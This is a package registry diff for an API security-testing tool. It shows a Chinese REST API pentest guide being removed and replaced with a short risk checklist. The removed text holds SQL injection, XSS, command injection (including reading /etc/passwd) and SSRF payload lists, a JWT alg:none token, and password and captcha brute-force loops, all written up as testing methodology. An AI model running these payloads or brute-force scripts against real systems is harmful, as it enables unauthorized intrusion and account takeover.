opencode-api-security-testing 2.0.0 → 2.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (63) hide show
  1. package/README.md +30 -24
  2. package/SKILL.md +1797 -0
  3. package/core/advanced_recon.py +788 -0
  4. package/core/agentic_analyzer.py +445 -0
  5. package/core/analyzers/api_parser.py +210 -0
  6. package/core/analyzers/response_analyzer.py +212 -0
  7. package/core/analyzers/sensitive_finder.py +184 -0
  8. package/core/api_fuzzer.py +422 -0
  9. package/core/api_interceptor.py +525 -0
  10. package/core/api_parser.py +955 -0
  11. package/core/browser_tester.py +479 -0
  12. package/core/cloud_storage_tester.py +1330 -0
  13. package/core/collectors/__init__.py +23 -0
  14. package/core/collectors/api_path_finder.py +300 -0
  15. package/core/collectors/browser_collect.py +645 -0
  16. package/core/collectors/browser_collector.py +411 -0
  17. package/core/collectors/http_client.py +111 -0
  18. package/core/collectors/js_collector.py +490 -0
  19. package/core/collectors/js_parser.py +780 -0
  20. package/core/collectors/url_collector.py +319 -0
  21. package/core/context_manager.py +682 -0
  22. package/core/deep_api_tester_v35.py +844 -0
  23. package/core/deep_api_tester_v55.py +366 -0
  24. package/core/dynamic_api_analyzer.py +532 -0
  25. package/core/http_client.py +179 -0
  26. package/core/models.py +296 -0
  27. package/core/orchestrator.py +890 -0
  28. package/core/prerequisite.py +227 -0
  29. package/core/reasoning_engine.py +1042 -0
  30. package/core/response_classifier.py +606 -0
  31. package/core/runner.py +938 -0
  32. package/core/scan_engine.py +599 -0
  33. package/core/skill_executor.py +435 -0
  34. package/core/skill_executor_v2.py +670 -0
  35. package/core/skill_executor_v3.py +704 -0
  36. package/core/smart_analyzer.py +687 -0
  37. package/core/strategy_pool.py +707 -0
  38. package/core/testers/auth_tester.py +264 -0
  39. package/core/testers/idor_tester.py +200 -0
  40. package/core/testers/sqli_tester.py +211 -0
  41. package/core/testing_loop.py +655 -0
  42. package/core/utils/base_path_dict.py +255 -0
  43. package/core/utils/payload_lib.py +167 -0
  44. package/core/utils/ssrf_detector.py +220 -0
  45. package/core/verifiers/vuln_verifier.py +536 -0
  46. package/package.json +17 -13
  47. package/references/asset-discovery.md +119 -612
  48. package/references/graphql-guidance.md +65 -641
  49. package/references/intake.md +84 -0
  50. package/references/report-template.md +131 -38
  51. package/references/rest-guidance.md +55 -526
  52. package/references/severity-model.md +52 -264
  53. package/references/test-matrix.md +65 -263
  54. package/references/validation.md +53 -400
  55. package/scripts/postinstall.js +46 -0
  56. package/src/index.ts +259 -275
  57. package/agents/cyber-supervisor.md +0 -55
  58. package/agents/probing-miner.md +0 -42
  59. package/agents/resource-specialist.md +0 -31
  60. package/commands/api-security-testing-scan.md +0 -59
  61. package/commands/api-security-testing-test.md +0 -49
  62. package/commands/api-security-testing.md +0 -72
  63. package/tsconfig.json +0 -17
@@ -1,547 +1,76 @@
1
- # REST API 安全测试指导
1
+ # REST Guidance
2
2
 
3
- ## 目录
3
+ API 是 REST 风格或面向资源时使用。
4
4
 
5
- 1. [REST API 特征识别](#1-rest-api-特征识别)
6
- 2. [端点发现策略](#2-端点发现策略)
7
- 3. [认证测试](#3-认证测试)
8
- 4. [授权测试 (IDOR)](#4-授权测试-idor)
9
- 5. [输入验证测试](#5-输入验证测试)
10
- 6. [业务逻辑测试](#6-业务逻辑测试)
11
- 7. [安全配置测试](#7-安全配置测试)
5
+ ## 关注领域
12
6
 
13
- ---
7
+ - object identifiers in paths and query strings
8
+ - method confusion across the same resource
9
+ - alternate versions exposing weaker controls
10
+ - bulk read and bulk write operations
11
+ - export and import endpoints
12
+ - callback URL configuration
13
+ - file upload and file retrieval
14
+ - verbose errors and debug metadata
14
15
 
15
- ## 1. REST API 特征识别
16
+ ## 常见风险信号
16
17
 
17
- ### 识别要点
18
+ - `GET /resource/{id}` with predictable IDs
19
+ - `PUT` or `PATCH` routes that accept role, tenant, or owner fields
20
+ - undocumented admin or support routes
21
+ - query parameters affecting filtering, sorting, or joins on sensitive objects
22
+ - separate internal and public route families with inconsistent auth
23
+ - data export endpoints returning broad records with limited user context
18
24
 
19
- | 特征 | 说明 |
20
- |------|------|
21
- | URL 模式 | `/resource/{id}`, `/api/users`, `/v1/orders` |
22
- | HTTP 方法 | GET/POST/PUT/DELETE/PATCH |
23
- | Content-Type | `application/json` |
24
- | 认证头 | Authorization: Bearer / Token |
25
- | 响应格式 | JSON 或 XML |
25
+ ## 推荐分组
26
26
 
27
- ### 常见 REST API 路径模式
27
+ 按对象家族或工作流分组 endpoints,而非单独列出每个路由。
28
28
 
29
- ```
30
- # 标准 RESTful
31
- GET /users - 列出所有用户
32
- GET /users/{id} - 获取指定用户
33
- POST /users - 创建用户
34
- PUT /users/{id} - 更新用户
35
- DELETE /users/{id} - 删除用户
29
+ 示例分组:
30
+ - user administration
31
+ - billing and invoices
32
+ - file operations
33
+ - reporting and exports
34
+ - organization or tenant management
35
+ - authentication and sessions
36
+ - API key and token management
37
+ - administrative operations
38
+ - data import and bulk updates
39
+ - search and filter operations
36
40
 
37
- # 业务操作
38
- POST /users/login - 登录
39
- POST /users/logout - 登出
40
- GET /users/{id}/orders - 获取用户订单
41
+ ## 特别关注
41
42
 
42
- # 常见路径前缀
43
- /api/v1/
44
- /api/v2/
45
- /rest/
46
- /webapi/
47
- /openapi/
48
- ```
43
+ ### 对象引用
49
44
 
50
- ---
45
+ - 路径中的数字 ID(可预测?)
46
+ - UUID vs 序列号
47
+ - 嵌套资源路径 `/users/{id}/orders/{order_id}`
51
48
 
52
- ## 2. 端点发现策略
49
+ ### 方法混淆
53
50
 
54
- ### 2.1 被动收集
51
+ - 同资源不同方法(GET vs PUT vs DELETE)
52
+ - PUT 接受不应该能修改的字段(role, tenant_id)
55
53
 
56
- ```
57
- 1. 从 JS/CSS 中提取 API 路径
58
- 2. 从 Swagger/OpenAPI 文档获取
59
- 3. 从 WebSocket 消息中捕获
60
- 4. 从 HTML 注释中查找
61
- ```
54
+ ### 版本差异
62
55
 
63
- ### 2.2 主动探测
56
+ - `/v1/` vs `/v2/` 的安全控制是否一致
57
+ - 旧版本是否暴露更多功能
64
58
 
65
- ```python
66
- # 常见 API 路径字典
67
- API_PREFIXES = [
68
- "/api", "/api/v1", "/api/v2", "/api/v3",
69
- "/rest", "/rest/api", "/webapi",
70
- "/admin", "/manager", "/backend",
71
- "/auth", "/oauth", "/public",
72
- ]
59
+ ### Admin 接口
73
60
 
74
- # 常见端点字典
75
- API_ENDPOINTS = [
76
- # 认证
77
- "login", "logout", "register", "signup", "signin",
78
- "forgot", "reset", "verify", "token", "refresh",
79
- # 用户
80
- "user", "users", "profile", "account", "info",
81
- "me", "settings", "preferences",
82
- # 订单/支付
83
- "order", "orders", "payment", "pay", "refund",
84
- "transaction", "invoice", "billing",
85
- # 资源
86
- "file", "files", "upload", "download", "image", "avatar",
87
- "document", "attachment",
88
- ]
61
+ - `/admin/` 家族
62
+ - `/internal/` 家族
63
+ - `/debug/` 或 `/manage/`
89
64
 
90
- # Fuzzing 组合
91
- for prefix in API_PREFIXES:
92
- for endpoint in API_ENDPOINTS:
93
- url = target + prefix + "/" + endpoint
94
- test_endpoint(url)
95
- ```
65
+ ### 文件操作
96
66
 
97
- ### 2.3 参数发现
67
+ - `/upload/`
68
+ - `/import/`
69
+ - `/export/`
70
+ - `/download/`
98
71
 
99
- ```python
100
- # 常见参数名
101
- COMMON_PARAMS = [
102
- # ID 类
103
- "id", "userId", "user_id", "uid", "accountId",
104
- "orderId", "order_id", "productId", "pageId",
105
- # 认证类
106
- "token", "accessToken", "access_token", "refreshToken",
107
- "session", "sessionId", "apiKey", "api_key",
108
- # 分页
109
- "page", "pageSize", "limit", "offset", "count",
110
- # 筛选
111
- "search", "query", "filter", "sort", "order",
112
- "start", "end", "from", "to", "date",
113
- ]
114
- ```
72
+ ### 敏感查询
115
73
 
116
- ---
117
-
118
- ## 3. 认证测试
119
-
120
- ### 3.1 JWT 测试
121
-
122
- ```python
123
- # JWT 特征识别
124
- jwt_pattern = r'eyJ[A-Za-z0-9-_]+\.eyJ[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+'
125
-
126
- # JWT 漏洞测试
127
- jwt_tests = [
128
- # alg:none 攻击
129
- {
130
- "name": "JWT alg:none",
131
- "payload": "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.",
132
- "header": {"alg": "none"},
133
- },
134
- # 密钥混淆攻击
135
- {
136
- "name": "JWT HS256 key confusion",
137
- "attack": "使用公钥作为对称密钥重放",
138
- },
139
- # 空密码攻击
140
- {
141
- "name": "JWT with empty secret",
142
- "attack": "使用空字符串签名",
143
- },
144
- ]
145
-
146
- # JWT 解码检查
147
- def analyze_jwt(token):
148
- parts = token.split('.')
149
- header = json.loads(base64url_decode(parts[0]))
150
- payload = json.loads(base64url_decode(parts[1]))
151
-
152
- print(f"Algorithm: {header.get('alg')}")
153
- print(f"Subject: {payload.get('sub')}")
154
- print(f"Issuer: {payload.get('iss')}")
155
- print(f"Expiration: {payload.get('exp')}")
156
-
157
- # 检查敏感字段
158
- if 'role' in payload: print(f"Role: {payload.get('role')}")
159
- if 'admin' in payload: print(f"Admin: {payload.get('admin')}")
160
- ```
161
-
162
- ### 3.2 会话管理测试
163
-
164
- ```
165
- 测试项:
166
- □ 登录后 Session ID 是否变化?
167
- □ 登出后 Session 是否失效?
168
- □ Session 超时时间是否合理?
169
- □ 是否使用 HttpOnly/ Secure Cookie?
170
- □ 是否支持"记住我"功能?(长期 Token)
171
- ```
172
-
173
- ### 3.3 暴力破解测试
174
-
175
- ```python
176
- # 暴力破解测试
177
- def test_brute_force(url, username_field, password_field):
178
- # 1. 检查是否有验证码
179
- response1 = requests.post(url, data={"username": "admin", "password": "wrong"})
180
-
181
- # 2. 检查错误消息差异(用户枚举)
182
- response2 = requests.post(url, data={"username": "nonexist", "password": "wrong"})
183
-
184
- if response1.text != response2.text:
185
- print("[!] 用户存在性可枚举")
186
-
187
- # 3. 测试密码爆破
188
- for password in password_list[:10]:
189
- r = requests.post(url, data={
190
- username_field: "admin",
191
- password_field: password
192
- })
193
- if "success" in r.text or r.status_code == 200:
194
- print(f"[!] 密码找到: {password}")
195
-
196
- # 4. 检查账户锁定
197
- for i in range(20):
198
- r = requests.post(url, data={
199
- username_field: "admin",
200
- password_field: f"wrong{i}"
201
- })
202
- # 检查是否锁定
203
- ```
204
-
205
- ---
206
-
207
- ## 4. 授权测试 (IDOR)
208
-
209
- ### 4.1 IDOR 测试模式
210
-
211
- ```
212
- 测试步骤:
213
- 1. 用用户A登录,获取资源ID(如 orderId=123)
214
- 2. 使用用户A的 Token,访问用户B的资源
215
- 3. 检查是否能访问或操作成功
216
- ```
217
-
218
- ### 4.2 常见 IDOR 场景
219
-
220
- | 场景 | 测试方法 |
221
- |------|----------|
222
- | 资料查看 | 修改 userId 参数查看他人资料 |
223
- | 订单查看 | 修改 orderId 查看他人订单 |
224
- | 文件访问 | 修改 fileId 下载他人文件 |
225
- | 评论操作 | 修改 commentId 修改/删除他人评论 |
226
- | 支付操作 | 修改 paymentId 取消/退款他人支付 |
227
-
228
- ### 4.3 IDOR 测试模板
229
-
230
- ```python
231
- # IDOR 测试模板
232
- def test_idor():
233
- # 1. 获取当前用户 Token 和 ID
234
- login_resp = requests.post(LOGIN_URL, json=CREDS)
235
- token = login_resp.json()["token"]
236
- my_id = login_resp.json()["userId"]
237
-
238
- # 2. 创建一个资源,获取资源 ID
239
- headers = {"Authorization": f"Bearer {token}"}
240
- create_resp = requests.post(RESOURCE_URL, headers=headers, json=DATA)
241
- resource_id = create_resp.json()["id"]
242
-
243
- # 3. 测试直接访问资源 ID(水平越权)
244
- # 用自己的 token 访问自己的资源(基线)
245
- baseline = requests.get(f"{RESOURCE_URL}/{resource_id}", headers=headers)
246
-
247
- # 4. 创建一个其他用户的资源
248
- # (需要准备第二个账号)
249
-
250
- # 5. 尝试用原 token 访问其他用户的资源
251
- # 如果成功,说明存在 IDOR
252
-
253
- # 6. 测试修改其他用户的资源
254
- modify_resp = requests.put(
255
- f"{RESOURCE_URL}/{other_resource_id}",
256
- headers=headers,
257
- json=MODIFY_DATA
258
- )
259
- if modify_resp.status_code == 200:
260
- print("[!] 存在 IDOR - 可修改他人资源")
261
- ```
262
-
263
- ---
264
-
265
- ## 5. 输入验证测试
266
-
267
- ### 5.1 SQL 注入测试
268
-
269
- ```python
270
- # SQL 注入测试 Payload
271
- SQLI_PAYLOADS = [
272
- # 基础
273
- "' OR '1'='1",
274
- "' OR '1'='1' --",
275
- "' OR '1'='1' /*",
276
- "admin' --",
277
- "admin' #",
278
- # Union
279
- "' UNION SELECT NULL--",
280
- "' UNION SELECT 1,2,3--",
281
- "' UNION SELECT NULL,NULL,NULL--",
282
- # 盲注
283
- "' AND SLEEP(5)--",
284
- "' AND (SELECT * FROM users WHERE id=1)='1",
285
- # 报错注入
286
- "' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--",
287
- "' AND EXTRACTVALUE(1,CONCAT(0x7e,version()))--",
288
- ]
289
-
290
- # 测试点
291
- test_points = [
292
- ("GET", "/api/users?id=1' OR '1'='1", None),
293
- ("POST", "/api/login", {"username": "admin", "password": "' OR '1'='1"}),
294
- ("GET", "/api/search?q=test' WAITFOR DELAY '0:0:5'", None),
295
- ]
296
- ```
297
-
298
- ### 5.2 XSS 测试
299
-
300
- ```python
301
- # XSS 测试 Payload
302
- XSS_PAYLOADS = [
303
- # 基础
304
- "<script>alert(1)</script>",
305
- "<img src=x onerror=alert(1)>",
306
- "<svg onload=alert(1)>",
307
- # 事件
308
- "<body onload=alert(1)>",
309
- "<input onfocus=alert(1) autofocus>",
310
- # 编码绕过
311
- "<script>alert&#40;1&#41;</script>",
312
- "<ScRiPt>alert(1)</sCrIpT>",
313
- # 钓鱼
314
- "<a href='javascript:alert(1)'>click</a>",
315
- ]
316
-
317
- # 测试点
318
- test_points = [
319
- ("GET", "/api/search?q=<script>alert(1)</script>", None),
320
- ("POST", "/api/comment", {"text": "<img src=x onerror=alert(1)>"}),
321
- ]
322
- ```
323
-
324
- ### 5.3 命令注入测试
325
-
326
- ```python
327
- # 命令注入 Payload
328
- CMD_PAYLOADS = [
329
- "| ls",
330
- "; ls",
331
- "`ls`",
332
- "$(ls)",
333
- "& ls &",
334
- "&& ls",
335
- "|| ls",
336
- "| cat /etc/passwd",
337
- ]
338
-
339
- # 测试点
340
- test_points = [
341
- ("GET", "/api/ping?host=127.0.0.1; ls", None),
342
- ("GET", "/api/ping?host=127.0.0.1 | cat /etc/passwd", None),
343
- ]
344
- ```
345
-
346
- ### 5.4 SSRF 测试
347
-
348
- ```python
349
- # SSRF 测试 Payload
350
- SSRF_PAYLOADS = [
351
- # 本地
352
- "http://localhost/",
353
- "http://127.0.0.1/",
354
- "http://127.0.0.1:22/",
355
- "http://127.0.0.1:3306/",
356
- # 云元数据
357
- "http://169.254.169.254/",
358
- "http://metadata.google.internal/",
359
- # 内部地址
360
- "http://192.168.1.1/",
361
- "http://10.0.0.1/",
362
- "http://172.16.0.1/",
363
- ]
364
-
365
- # 测试
366
- def test_ssrf(url_param, target_url):
367
- for payload in SSRF_PAYLOADS:
368
- resp = requests.get(f"{BASE_URL}?{url_param}={payload}")
369
- if check_internal_access(resp):
370
- print(f"[!] SSRF: {payload}")
371
- ```
372
-
373
- ---
374
-
375
- ## 6. 业务逻辑测试
376
-
377
- ### 6.1 业务逻辑漏洞类型
378
-
379
- | 类型 | 说明 | 测试方法 |
380
- |------|------|----------|
381
- | 负数测试 | 金额/数量可为负数 | amount=-1 |
382
- | 零值测试 | 免费购买 | amount=0 |
383
- | 溢出测试 | 超大数值绕过 | amount=99999999 |
384
- | 重复测试 | 重复领取/刷单 | 多次请求 |
385
- | 条件绕过 | 修改前端校验 | 移除检查字段 |
386
- | 顺序绕过 | 跳过必要步骤 | 直接访问支付 |
387
- | 权限绕过 | 垂直越权 | 低权限访问管理 |
388
-
389
- ### 6.2 支付逻辑测试
390
-
391
- ```python
392
- # 支付漏洞测试
393
- def test_payment():
394
- # 1. 修改价格
395
- test_cases = [
396
- {"amount": 0.01}, # 低价购买
397
- {"amount": -1}, # 负数金额
398
- {"amount": 0}, # 免费购买
399
- {"amount": 99999999}, # 超大金额
400
- ]
401
-
402
- # 2. 修改货币
403
- test_cases = [
404
- {"currency": "USD", "amount": 100},
405
- {"currency": "CNY", "amount": 1}, # 汇率绕过
406
- ]
407
-
408
- # 3. 修改数量
409
- test_cases = [
410
- {"quantity": -1}, # 负数数量
411
- {"quantity": 0}, # 零数量
412
- {"quantity": 0.001}, # 小数数量
413
- ]
414
-
415
- # 4. 跳过验证
416
- # 直接访问回调/通知接口
417
- ```
418
-
419
- ### 6.3 验证码测试
420
-
421
- ```python
422
- # 验证码逻辑测试
423
- def test_captcha():
424
- # 1. 验证码是否可复用
425
- captcha_id = get_captcha_id()
426
- for i in range(10):
427
- verify_captcha(captcha_id, "1234") # 同一验证码多次尝试
428
-
429
- # 2. 验证码是否暴漏
430
- # 验证码值是否在响应/JS中返回
431
-
432
- # 3. 验证码是否可绕过
433
- # 删除验证码参数是否仍能通过
434
-
435
- # 4. 暴力破解验证码
436
- for code in range(10000):
437
- if verify_captcha(captcha_id, str(code).zfill(4)):
438
- print(f"[!] 验证码被暴力破解: {code}")
439
- ```
440
-
441
- ---
442
-
443
- ## 7. 安全配置测试
444
-
445
- ### 7.1 CORS 测试
446
-
447
- ```python
448
- # CORS 漏洞测试
449
- def test_cors():
450
- # 1. 检查 CORS 配置
451
- resp = requests.options(url, headers={
452
- "Origin": "https://evil.com",
453
- "Access-Control-Request-Method": "GET"
454
- })
455
-
456
- acao = resp.headers.get("Access-Control-Allow-Origin")
457
- acac = resp.headers.get("Access-Control-Allow-Credentials")
458
-
459
- if acao == "https://evil.com":
460
- print("[!] CORS 允许任意来源")
461
- if acac == "true" and acao == "*":
462
- print("[!] CORS 允许凭证+任意来源")
463
-
464
- # 2. 检查敏感头部
465
- sensitive_headers = [
466
- "Access-Control-Allow-Origin",
467
- "Access-Control-Allow-Credentials",
468
- "Access-Control-Allow-Methods",
469
- "Access-Control-Allow-Headers",
470
- ]
471
- ```
472
-
473
- ### 7.2 CSRF 测试
474
-
475
- ```python
476
- # CSRF 漏洞测试
477
- def test_csrf():
478
- # 1. 检查 SameSite Cookie
479
- # None = 任何站点的请求都会携带
480
- # Lax = 仅导航请求携带
481
- # Strict = 仅同站请求携带
482
-
483
- # 2. 检查 CSRF Token
484
- # 是否存在 token 验证
485
- # token 是否可预测
486
- # token 是否可复用
487
-
488
- # 3. 检查 Referer 验证
489
- # 是否验证来源
490
- # 验证是否严格
491
- ```
492
-
493
- ### 7.3 安全头部测试
494
-
495
- ```python
496
- # 安全头部检查
497
- SECURITY_HEADERS = {
498
- "Strict-Transport-Security": "max-age=31536000; includeSubDomains",
499
- "Content-Security-Policy": "default-src 'self'",
500
- "X-Frame-Options": "DENY",
501
- "X-Content-Type-Options": "nosniff",
502
- "X-XSS-Protection": "1; mode=block",
503
- "Cache-Control": "no-store, no-cache, must-revalidate",
504
- }
505
-
506
- def check_security_headers(url):
507
- resp = requests.get(url)
508
- for header, expected in SECURITY_HEADERS.items():
509
- if header not in resp.headers:
510
- print(f"[!] 缺少 {header}")
511
- ```
512
-
513
- ---
514
-
515
- ## 附录:测试检查清单
516
-
517
- ```
518
- □ 认证测试
519
- □ JWT 算法验证 (alg:none, 密钥混淆)
520
- □ 会话管理 (登录/登出/超时)
521
- □ 暴力破解 (验证码/限流)
522
- □ 密码重置 (Token 预测/暴力破解)
523
-
524
- □ 授权测试
525
- □ 水平越权 (IDOR)
526
- □ 垂直越权 (权限绕过)
527
- □ 敏感接口访问
528
-
529
- □ 输入验证
530
- □ SQL 注入
531
- □ XSS
532
- □ 命令注入
533
- □ SSRF
534
- □ 文件上传
535
-
536
- □ 业务逻辑
537
- □ 支付逻辑
538
- □ 验证码逻辑
539
- □ 订单流程
540
- □ 积分/优惠券
541
-
542
- □ 安全配置
543
- □ CORS
544
- □ CSRF
545
- □ 安全头部
546
- □ API 限流
547
- ```
74
+ - 影响 join 的查询参数
75
+ - 排序和过滤敏感对象
76
+ - 分页参数的访问控制